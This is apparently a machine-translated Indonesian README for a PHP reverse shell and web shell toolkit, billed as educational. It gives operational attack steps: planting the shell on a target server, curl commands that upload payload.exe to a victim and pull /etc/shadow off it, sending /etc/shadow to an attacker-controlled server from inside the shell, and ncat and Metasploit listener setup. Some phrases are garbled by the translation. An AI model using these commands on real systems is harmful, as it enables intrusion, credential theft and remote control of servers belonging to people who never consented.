Hanya sedikit penyegaran pada skrip reverse shell PentestMonkey/php-reverse-shell yang populer. Kredit ke penulis asli!
Bekerja pada Linux OS dan MacOS dengan /bin/sh dan Windows OS dengan cmd.exe . Script akan secara otomatis mendeteksi OS yang mendasarinya.
Bekerja dengan keduanya, ncat dan multi/handler .
Diuji pada XAMPP untuk Linux V7.3.19 (64-bit) dengan PHP V7.3.19 pada Kali Linux V2020.2 (64-bit).
Diuji pada XAMPP untuk OS X V7.4.10 (64-bit) dengan PHP V7.4.10 pada MacOS Catalina V10.15.6 (64-bit).
Diuji pada XAMPP untuk Windows V7.4.3 (64-bit) dengan PHP V7.4.3 pada Windows 10 Enterprise OS (64-bit).
Selain itu, semuanya diuji pada gambar Docker Nouphet/Docker-PHP4 dengan PHP V4.4.0 dan Steeze/Php52-Nginx dengan PHP V5.2.17.
Dibuat untuk tujuan pendidikan. Saya berharap ini akan membantu!
Proses pipa pada windows OS tidak mendukung operasi asinkron sehingga stream_set_blocking() , stream_select() , dan feof() tidak akan berfungsi dengan baik, tetapi saya menemukan solusi.
/src/reverse/php_reverse_shell.php membutuhkan php v5.0.0 atau lebih besar.
/src/reverse/php_reverse_shell_older.php membutuhkan php v4.3.0 atau lebih besar.
Ubah alamat IP dan nomor port di dalam skrip yang diperlukan.
Salin /src/reverse/php_reverse_shell.php ke direktori root web server Anda (misalnya/opt/lampp/htdocs/on xampp) atau mengunggahnya ke server web target Anda.
Arahkan ke file dengan browser web pilihan Anda.
Periksa shell Web PHP sederhana berdasarkan permintaan HTTP POST.
Periksa Shell Web PHP sederhana berdasarkan permintaan HTTP GET. Anda harus URL menyandikan perintah Anda.
Periksa Shell Web PHP Sederhana V2 berdasarkan permintaan HTTP GET. Anda harus URL menyandikan perintah Anda.
Cari tahu lebih lanjut tentang teknik pengayaan PHP untuk versi lama PHP di LCATRO/PHP-Webshell-Bypass-WAF. Kredit untuk penulis!
Periksa skrip unggah/unduhan file php sederhana berdasarkan permintaan http untuk unggahan file dan http dapatkan permintaan untuk unduhan file.
Saat mengunduh file, Anda harus URL menyandikan jalur file, dan jangan lupa untuk menentukan file output jika menggunakan curl.
Saat mengunggah file, jangan lupa untuk menentukan @ sebelum jalur file.
Bergantung pada konfigurasi server, mengunduh file melalui parameter HTTP Get Request mungkin tidak selalu berfungsi, sebaliknya, Anda harus hardcore jalur file dalam skrip.
Arahkan ke skrip di server web korban dengan browser web pilihan Anda, atau gunakan Curl dari PC Anda.
Unggah file ke direktori root web server dari PC Anda:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Unduh file dari server ke PC Anda:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Jika Anda meningkatkan hak istimewa awal Anda di dalam shell terbalik Anda, skrip ini mungkin tidak memiliki hak istimewa yang sama dengan shell. Dalam hal ini, untuk mengunduh file tertentu, Anda mungkin perlu menyalin file ke direktori root web dan mengatur izin baca yang diperlukan.
Dari shell terbalik PHP Anda, jalankan perintah curl berikut.
Unggah file dari PC korban ke direktori root web server Anda:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Unduh file dari direktori root web server Anda ke PC korban:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Untuk mengatur pendengar, buka konsol pilihan Anda di Kali Linux dan jalankan salah satu contoh di bawah ini.
Siapkan pendengar ncat :
ncat -nvlp 9000
Mengatur multi/handler Listener:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Gambar 1 - NCAT

Gambar 2 - Dump Script